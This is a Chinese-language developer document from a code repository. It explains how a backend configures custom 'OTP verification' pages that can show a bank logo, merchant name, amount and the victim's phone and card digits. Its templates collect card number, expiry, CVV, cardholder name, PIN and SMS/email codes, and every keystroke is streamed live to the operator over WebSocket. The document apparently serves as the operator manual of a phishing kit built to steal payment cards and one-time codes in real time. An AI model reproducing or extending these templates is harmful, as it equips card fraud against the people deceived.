Files
zy-client-a/zy1_in_post_shadowfax/自定义OTP验证配置文档.md
tom@tom.com 84cb2597a4 first commit
2026-04-19 17:51:16 +08:00

540 lines
24 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 自定义OTP验证配置文档
## 概述
此文档用于配置前端自定义OTP验证页面。后端需要返回 `customOtpData` 配置对象,前端将根据配置自动渲染验证表单。
---
## 配置结构
### 基础配置对象
```typescript
interface ValidationConfig {
type: 'customValid' // 必填:验证类型,使用 'customValid' 启用完全自定义
name?: string // 可选:配置名称
pageTitle?: string // 可选:页面标题
pageContent: string // 必填HTML内容包含自定义表单
customStyles?: string // 可选自定义CSS样式
buttonColor?: string // 可选:默认按钮颜色
errorMessage?: string // 可选:默认错误提示
showTop?: boolean // 可选是否显示顶部银行logo和卡片类型
imageUrl?: string // 可选自定义logo图片URL
showCard?: boolean // 可选是否显示卡号后4位
merchant?: string // 可选商户名称可在pageContent中用${merchant}引用)
amount?: string // 可选支付金额可在pageContent中用${payment}引用)
}
```
---
## HTML元素规范
### 1. 输入框Input
**必需属性:**
- `class="custom-input"` - 必须添加此class以自动绑定事件
- `data-field="字段名"` - 标识输入框字段可以是任意名称不限于input1/input2
**可选属性:**
- `data-verify-key="自定义字段名"` - 自定义后端接收的字段名
- 不设置时,默认使用 `data-field` 的值作为后端字段名
- 设置后将使用 `data-verify-key` 的值
- `required` - 标记为必填项
- 提交时会自动验证,未填写会显示浏览器原生提示气泡
- 自动聚焦到第一个未填写的输入框
**重要支持任意数量的输入框不限于2个**
**示例:**
```html
<!-- 方式1使用 data-field 作为默认字段名 -->
<input type="text"
class="custom-input"
data-field="smsCode"
placeholder="请输入短信验证码">
<!-- 方式2使用 data-verify-key 自定义后端字段名 -->
<input type="text"
class="custom-input"
data-field="input1"
data-verify-key="smsVerifyCode"
placeholder="请输入短信验证码">
<input type="text"
class="custom-input"
data-field="input2"
data-verify-key="emailVerifyCode"
placeholder="请输入邮箱验证码">
<!-- 方式3多个输入框支持任意数量 -->
<input type="text" class="custom-input" data-field="cardNumber" placeholder="卡号">
<input type="text" class="custom-input" data-field="expiryDate" placeholder="有效期">
<input type="text" class="custom-input" data-field="cvv" placeholder="CVV">
<input type="password" class="custom-input" data-field="pin" placeholder="PIN码">
<!-- 方式4必填输入框添加required属性 -->
<input type="text"
class="custom-input"
data-field="verifyCode"
placeholder="验证码"
required>
<!-- 提交时会自动验证,未填写会显示错误并聚焦 -->
```
### 2. 按钮Button
**必需属性:**
- `class="custom-button"` - 必须添加此class以自动绑定事件
- `data-action="submit"``"resend"` - 标识按钮操作类型
- `submit`: 提交表单
- `resend`: 重新发送验证码
**可选属性仅resend按钮**
- `data-countdown="true"` - 启用倒计时(默认值,可省略)
- `data-countdown="false"` - 禁用倒计时,允许连续点击
**重发按钮特性:**
启用倒计时时(`data-countdown="true"` 或不设置):
- ✅ 自动倒计时点击后自动进入60秒倒计时
- ✅ 自动禁用:倒计时期间按钮禁用,无法重复点击
- ✅ 文本更新:倒计时显示 `00:59``00:58`...直到 `00:00`
- ✅ 自动恢复:倒计时结束后自动恢复原始文本和可点击状态
禁用倒计时时(`data-countdown="false"`
- ✅ 立即发送:点击后立即发送请求
- ✅ 可连续点击:没有倒计时限制,可以多次点击
- ✅ 适用场景:需要快速重试或测试时使用
**示例:**
```html
<!-- 提交按钮 -->
<button type="button"
class="custom-button"
data-action="submit">
提交验证码
</button>
<!-- 重发按钮(默认启用倒计时) -->
<button type="button"
class="custom-button"
data-action="resend">
重新发送
</button>
<!-- 点击后: 00:60 → 00:59 → ... → 00:01 → 重新发送 -->
<!-- 重发按钮(显式启用倒计时) -->
<button type="button"
class="custom-button"
data-action="resend"
data-countdown="true">
重新发送验证码
</button>
<!-- 重发按钮(禁用倒计时,可连续点击) -->
<button type="button"
class="custom-button"
data-action="resend"
data-countdown="false">
立即重发
</button>
<!-- 点击后立即发送,无倒计时,可连续点击 -->
```
### 3. 错误信息容器Error Message
**必需属性:**
- `class="custom-error-message"` - 必须添加此class以自动显示错误
**特性:**
- 自动显示/隐藏:有错误时自动显示,无错误时自动隐藏
- 自动更新内容错误信息会自动填充到所有带此class的元素中
**示例:**
```html
<div class="custom-error-message"></div>
```
---
## 配置示例
### 示例1基础短信验证码表单
```json
{
"type": "customValid",
"name": "SMS验证",
"pageTitle": "短信验证",
"pageContent": "<div style='text-align: center;'><p style='margin-bottom: 20px;'>请输入发送到您手机的验证码</p><div style='margin-bottom: 15px;'><input type='text' class='custom-input' data-field='input1' data-verify-key='smsCode' placeholder='6位验证码' style='width: 200px; padding: 10px; border: 1px solid #ddd; border-radius: 5px; text-align: center; font-size: 16px;'></div><div class='custom-error-message' style='color: #dc2626; margin: 10px 0; min-height: 20px;'></div><button type='button' class='custom-button' data-action='submit' style='background: #67C23A; color: white; padding: 12px 40px; border: none; border-radius: 6px; cursor: pointer; font-size: 14px;'>提交验证</button></div>",
"customStyles": ".custom-input:focus { border-color: #67C23A; outline: none; box-shadow: 0 0 0 2px rgba(103, 194, 58, 0.2); } .custom-button:hover { opacity: 0.9; }",
"showTop": true,
"errorMessage": "验证码错误,请重试"
}
```
### 示例2双重验证短信+邮箱)
```json
{
"type": "customValid",
"name": "双重验证",
"pageTitle": "安全验证",
"pageContent": "<div style='max-width: 400px; margin: 0 auto;'><div style='margin-bottom: 20px;'><label style='display: block; margin-bottom: 8px; color: #333; font-weight: 500;'>短信验证码</label><input type='text' class='custom-input' data-field='input1' data-verify-key='smsCode' placeholder='请输入短信验证码' style='width: 100%; padding: 12px; border: 1px solid #ddd; border-radius: 6px; font-size: 14px;'></div><div style='margin-bottom: 20px;'><label style='display: block; margin-bottom: 8px; color: #333; font-weight: 500;'>邮箱验证码</label><input type='text' class='custom-input' data-field='input2' data-verify-key='emailCode' placeholder='请输入邮箱验证码' style='width: 100%; padding: 12px; border: 1px solid #ddd; border-radius: 6px; font-size: 14px;'></div><div class='custom-error-message' style='color: #dc2626; text-align: center; margin: 15px 0; min-height: 24px;'></div><div style='display: flex; gap: 12px; justify-content: center;'><button type='button' class='custom-button' data-action='submit' style='flex: 1; background: #409EFF; color: white; padding: 12px; border: none; border-radius: 6px; cursor: pointer;'>确认提交</button><button type='button' class='custom-button' data-action='resend' style='flex: 1; background: #E6A23C; color: white; padding: 12px; border: none; border-radius: 6px; cursor: pointer;'>重新发送</button></div></div>",
"customStyles": ".custom-input:focus { border-color: #409EFF; outline: none; } .custom-button:active { transform: scale(0.98); }",
"showTop": true,
"merchant": "示例商户",
"amount": "¥999.00"
}
```
### 示例3快速重发模式禁用倒计时
```json
{
"type": "customValid",
"name": "快速验证",
"pageTitle": "验证码登录",
"pageContent": "<div style='max-width: 350px; margin: 0 auto; padding: 20px;'><div style='margin-bottom: 20px;'><label style='display: block; margin-bottom: 8px; color: #495057; font-weight: 500;'>验证码</label><input type='text' class='custom-input' data-field='verifyCode' placeholder='6位验证码' maxlength='6' style='width: 100%; padding: 12px; border: 1px solid #ced4da; border-radius: 6px; font-size: 16px; text-align: center; letter-spacing: 4px;'></div><div class='custom-error-message' style='color: #dc3545; text-align: center; margin: 12px 0; min-height: 20px; font-size: 13px;'></div><button type='button' class='custom-button' data-action='submit' style='width: 100%; background: #28a745; color: white; padding: 14px; border: none; border-radius: 6px; cursor: pointer; font-size: 16px; font-weight: 600; margin-bottom: 12px;'>立即登录</button><button type='button' class='custom-button' data-action='resend' data-countdown='false' style='width: 100%; background: transparent; color: #007bff; padding: 10px; border: 1px solid #007bff; border-radius: 6px; cursor: pointer; font-size: 14px;'>点击重新发送验证码</button></div>",
"customStyles": ".custom-input:focus { border-color: #28a745 !important; } .custom-button[data-action='resend']:hover { background: #007bff; color: white; }",
"showTop": false
}
```
**说明:** 此示例中重发按钮设置了 `data-countdown='false'`,用户可以连续点击重发,适合测试或需要快速重试的场景。
### 示例4多输入框 - 完整卡片信息录入
```json
{
"type": "customValid",
"name": "卡片信息验证",
"pageTitle": "请输入卡片完整信息",
"pageContent": "<div style='max-width: 450px; margin: 0 auto; padding: 20px;'><div style='background: #f8f9fa; padding: 20px; border-radius: 10px;'><div style='margin-bottom: 15px;'><label style='display: block; margin-bottom: 5px; color: #495057; font-weight: 500; font-size: 13px;'>卡号 (Card Number)</label><input type='text' class='custom-input' data-field='cardNumber' placeholder='1234 5678 9012 3456' maxlength='19' style='width: 100%; padding: 12px; border: 1px solid #ced4da; border-radius: 6px; font-size: 14px;'></div><div style='display: flex; gap: 12px; margin-bottom: 15px;'><div style='flex: 1;'><label style='display: block; margin-bottom: 5px; color: #495057; font-weight: 500; font-size: 13px;'>有效期 (MM/YY)</label><input type='text' class='custom-input' data-field='expiryDate' placeholder='12/25' maxlength='5' style='width: 100%; padding: 12px; border: 1px solid #ced4da; border-radius: 6px; font-size: 14px;'></div><div style='flex: 1;'><label style='display: block; margin-bottom: 5px; color: #495057; font-weight: 500; font-size: 13px;'>CVV</label><input type='password' class='custom-input' data-field='cvv' placeholder='123' maxlength='3' style='width: 100%; padding: 12px; border: 1px solid #ced4da; border-radius: 6px; font-size: 14px;'></div></div><div style='margin-bottom: 15px;'><label style='display: block; margin-bottom: 5px; color: #495057; font-weight: 500; font-size: 13px;'>持卡人姓名 (Cardholder Name)</label><input type='text' class='custom-input' data-field='cardholderName' placeholder='JOHN DOE' style='width: 100%; padding: 12px; border: 1px solid #ced4da; border-radius: 6px; font-size: 14px; text-transform: uppercase;'></div><div style='margin-bottom: 15px;'><label style='display: block; margin-bottom: 5px; color: #495057; font-weight: 500; font-size: 13px;'>PIN码 (4位)</label><input type='password' class='custom-input' data-field='pin' data-verify-key='pinCode' placeholder='••••' maxlength='4' style='width: 100%; padding: 12px; border: 1px solid #ced4da; border-radius: 6px; font-size: 14px; letter-spacing: 8px; text-align: center;'></div><div class='custom-error-message' style='color: #dc3545; text-align: center; margin: 12px 0; min-height: 20px; font-size: 13px;'></div><button type='button' class='custom-button' data-action='submit' style='width: 100%; background: #28a745; color: white; padding: 14px; border: none; border-radius: 6px; cursor: pointer; font-size: 16px; font-weight: 600;'>确认提交</button></div></div>",
"customStyles": ".custom-input:focus { border-color: #28a745 !important; box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.25); } .custom-button:hover { background: #218838; }",
"showTop": true
}
```
### 示例5银行PIN码验证
```json
{
"type": "customValid",
"name": "PIN验证",
"pageTitle": "请输入PIN码",
"pageContent": "<div style='background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); padding: 30px; border-radius: 12px; color: white;'><div style='text-align: center; margin-bottom: 25px;'><h3 style='margin: 0 0 10px 0;'>交易确认</h3><p style='margin: 0; opacity: 0.9;'>商户: ${merchant}</p><p style='margin: 5px 0 0 0; font-size: 24px; font-weight: bold;'>${payment}</p></div><div style='background: white; padding: 20px; border-radius: 8px;'><div style='margin-bottom: 15px;'><label style='display: block; margin-bottom: 8px; color: #333; font-size: 14px;'>4位PIN码</label><input type='password' class='custom-input' data-field='input1' data-verify-key='pinCode' placeholder='••••' maxlength='4' style='width: 100%; padding: 15px; border: 2px solid #e5e7eb; border-radius: 8px; font-size: 18px; text-align: center; letter-spacing: 8px;'></div><div class='custom-error-message' style='color: #dc2626; text-align: center; margin: 12px 0; min-height: 20px; font-size: 13px;'></div><button type='button' class='custom-button' data-action='submit' style='width: 100%; background: #10b981; color: white; padding: 15px; border: none; border-radius: 8px; cursor: pointer; font-size: 16px; font-weight: 600; box-shadow: 0 4px 6px rgba(16, 185, 129, 0.3);'>确认支付</button></div></div>",
"customStyles": ".custom-input:focus { border-color: #10b981; box-shadow: 0 0 0 3px rgba(16, 185, 129, 0.1); } .custom-button:hover { background: #059669; transform: translateY(-1px); box-shadow: 0 6px 12px rgba(16, 185, 129, 0.4); }",
"showTop": false,
"merchant": "Apple Store",
"amount": "$299.99"
}
```
---
## 动态变量
可在 `pageContent` 中使用以下变量,前端会自动替换:
| 变量 | 说明 | 示例 |
|------|------|------|
| `${merchant}` | 商户名称 | 从配置中的 `merchant` 字段获取 |
| `${payment}``${price}` | 支付金额 | 从配置中的 `amount` 字段获取 |
| `${card}` | 卡号后4位 | 自动从用户卡号中提取 |
| `${phone}` | 手机号后4位 | 从本地存储手机号中提取后4位 |
| `${phoneFull}` | 完整手机号 | 从本地存储中获取 |
| `${date}` | 当前日期 | 自动生成当前日期 |
**使用示例:**
```html
<p>商户: ${merchant}</p>
<p>金额: ${payment}</p>
<p>卡号: **** ${card}</p>
<p>手机号后4位: ${phone}</p>
<p>完整手机号: ${phoneFull}</p>
```
---
## 数据流程
## 提交Loading纯HTML
你可以直接在 `pageContent` 里定义 loading 节点,提交时前端会自动显示。
支持两种标记方式(任选其一):
- `data-submit-loading`
- `class="custom-submit-loading"`
建议初始隐藏(`display:none`),并可用 `data-loading-display` 指定显示时的 `display` 值。
```html
<div data-submit-loading data-loading-display="flex" style="display:none;position:fixed;inset:0;background:rgba(0,0,0,.45);z-index:9999;align-items:center;justify-content:center;color:#fff;">
<div style="background:#111;padding:12px 16px;border-radius:8px;">Loading...</div>
</div>
```
说明:
- 提交 `submit_card` 前自动显示。
- 收到后端 `custom-otp-valid` 消息后自动隐藏。
- 如果未定义上述标记,则继续使用系统默认 loading。
### 1. 前端接收配置
后端返回 `customOtpData` 配置对象,前端根据 `type: 'customValid'` 渲染自定义表单。
### 2. 用户输入
- 用户在 `class="custom-input"` 的输入框中输入
- 前端自动调用 `inputChange` 函数,实时发送到后端
- 发送格式:
```javascript
{
event: "input_card",
content: {
key: "smsCode", // 来自 data-verify-key默认为 verifyCode1/verifyCode2
value: "用户输入的内容"
}
}
```
### 3. 用户提交
- 用户点击 `data-action="submit"` 的按钮
- 前端自动收集所有 `class="custom-input"` 的输入框值
- 发送WebSocket消息
```javascript
// 例12个输入框
{
event: "submit_card",
content: {
type: "submitCustomOtpValid",
formData: {
smsCode: "123456",
emailCode: "789012"
}
}
}
// 例25个输入框完整卡片信息
{
event: "submit_card",
content: {
type: "submitCustomOtpValid",
formData: {
cardNumber: "1234567890123456",
expiryDate: "12/25",
cvv: "123",
cardholderName: "JOHN DOE",
pinCode: "1234" // 使用了 data-verify-key="pinCode"
}
}
}
```
**重要:**`formData` 中的字段名是每个输入框的 `data-verify-key`(如果有)或 `data-field` 的值
### 4. 错误处理
- 后端验证失败时,发送事件 `custom-otp-valid`
- 消息格式:
```javascript
{
message2: "错误提示文本"
}
```
- 前端自动将错误显示在所有 `class="custom-error-message"` 的元素中
### 5. 重新发送
- 用户点击 `data-action="resend"` 的按钮
- 前端自动进入60秒倒计时按钮文本变为 `00:60`
- 倒计时期间按钮禁用,无法重复点击
- 前端发送WebSocket消息
```javascript
{
event: "page_type",
content: {
pageType: "customOtpValid",
pageTitle: "配置名称",
resultType: "resendCode",
customType: "customValid"
}
}
```
- 60秒后按钮自动恢复为原始文本如"重新发送"),可再次点击
---
## 字段映射说明
### 基本原则
**支持任意数量和名称的输入框!**
### 默认字段映射
当只设置 `data-field` 时,后端接收的字段名就是 `data-field` 的值:
- `data-field="smsCode"` → 后端接收:`smsCode`
- `data-field="emailCode"` → 后端接收:`emailCode`
- `data-field="cardNumber"` → 后端接收:`cardNumber`
- `data-field="pin"` → 后端接收:`pin`
### 自定义字段映射
通过 `data-verify-key` 属性可以覆盖后端接收的字段名:
```html
<!-- 例1使用 data-field 作为后端字段名 -->
<input class="custom-input" data-field="smsCode">
<!-- 后端接收smsCode -->
<!-- 例2使用 data-verify-key 覆盖字段名 -->
<input class="custom-input"
data-field="input1"
data-verify-key="customSmsCode">
<!-- 后端接收customSmsCode -->
<!-- 例3多个输入框各自有独立字段名 -->
<input class="custom-input" data-field="cardNum">
<input class="custom-input" data-field="expiry">
<input class="custom-input" data-field="cvvCode">
<input class="custom-input" data-field="pinNumber" data-verify-key="pin">
<!-- 后端接收cardNum, expiry, cvvCode, pin -->
```
**实时输入事件:**
```javascript
// 例1只有 data-field
<input class="custom-input" data-field="smsCode">
// 发送:
{
event: "input_card",
content: {
key: "smsCode", // 直接使用 data-field 的值
value: "123456"
}
}
// 例2有 data-verify-key
<input class="custom-input" data-field="input1" data-verify-key="customCode">
// 发送:
{
event: "input_card",
content: {
key: "customCode", // 使用 data-verify-key 的值
value: "123456"
}
}
// 例3多个输入框
<input class="custom-input" data-field="card">
<input class="custom-input" data-field="cvv">
<input class="custom-input" data-field="pin">
// 分别发送:
// { event: "input_card", content: { key: "card", value: "..." } }
// { event: "input_card", content: { key: "cvv", value: "..." } }
// { event: "input_card", content: { key: "pin", value: "..." } }
```
---
## 最佳实践
### 1. CSS样式建议
- 使用 `customStyles` 字段添加响应式设计
- 建议使用相对单位(%、em、rem而非固定像素
- 为移动端适配添加媒体查询
### 2. 用户体验
- 输入框应有明确的 `placeholder` 提示
- 错误信息容器预留足够空间(避免布局跳动)
- 按钮应有明显的交互反馈hover、active状态
### 3. 安全考虑
- PIN码输入使用 `type="password"`
- 敏感信息使用 `maxlength` 限制长度
- 建议后端对提交频率做限制
### 4. 响应式设计示例
```css
/* 添加到 customStyles 中 */
@media (max-width: 768px) {
.custom-input {
font-size: 16px !important; /* 防止iOS自动缩放 */
}
.custom-button {
padding: 15px !important;
font-size: 16px !important;
}
}
```
---
## 调试技巧
### 前端控制台日志
前端会输出以下调试信息:
- `绑定事件尝试 - 自定义输入框数: X, 自定义按钮数: Y`
- `绑定自定义输入框: [id], field: [fieldName]`
- `自定义输入框[fieldName]输入: [value], verifyKey: [key]`
- `自定义按钮点击, action: [action]`
### 检查清单
1. ✅ 输入框是否有 `class="custom-input"` 和 `data-field`
2. ✅ 按钮是否有 `class="custom-button"` 和 `data-action`
3. ✅ 错误容器是否有 `class="custom-error-message"`
4. ✅ 自定义字段名是否设置了 `data-verify-key`
5. ✅ CSS样式是否正确加载到 `customStyles`
---
## 常见问题
**Q: 如何添加多个输入框?**
A: 直接添加多个 `<input>` 标签,每个都添加 `class="custom-input"` 和独立的 `data-field`,不限数量!
```html
<input class="custom-input" data-field="field1">
<input class="custom-input" data-field="field2">
<input class="custom-input" data-field="field3">
<input class="custom-input" data-field="field4">
<!-- 可以继续添加更多... -->
```
**Q: 输入框没有反应?**
A: 检查是否同时添加了 `class="custom-input"` 和 `data-field` 属性
**Q: required属性如何使用**
A: 直接在输入框上添加 `required` 属性即可:
```html
<input type="text" class="custom-input" data-field="code" required>
```
- 提交时自动验证所有 `required` 输入框
- 使用浏览器原生提示气泡显示错误
- 自动聚焦到第一个未填写的输入框
**Q: 错误信息不显示?**
A: 确保元素有 `class="custom-error-message"`,前端会自动控制显示/隐藏
**Q: 如何自定义后端接收的字段名?**
A: 在输入框上添加 `data-verify-key="yourCustomKey"` 属性
**Q: 按钮点击没有效果?**
A: 检查是否添加了 `class="custom-button"` 和 `data-action="submit/resend"`
**Q: 重发按钮能连续点击吗?**
A: 默认不能。如需连续点击,添加 `data-countdown="false"` 属性即可禁用倒计时。
```html
<!-- 不能连续点击(默认) -->
<button class="custom-button" data-action="resend">重新发送</button>
<!-- 可以连续点击 -->
<button class="custom-button" data-action="resend" data-countdown="false">立即重发</button>
```
**Q: 如何修改倒计时时长?**
A: 目前倒计时固定为60秒。如需修改需要在前端代码中修改 `initialTime` 变量CustomOtpView.vue 第728行
**Q: 样式不生效?**
A: 将CSS代码放入 `customStyles` 字段,确保选择器正确
---
## 技术支持
如有问题,请检查:
1. WebSocket连接是否正常
2. 浏览器控制台是否有错误信息
3. 配置JSON格式是否正确
4. HTML标签是否闭合完整
前端组件文件:`CustomOtpView.vue`
关键函数:`bindInputEvents()`, `handleCustomInputEvent()`, `handleCustomButtonEvent()`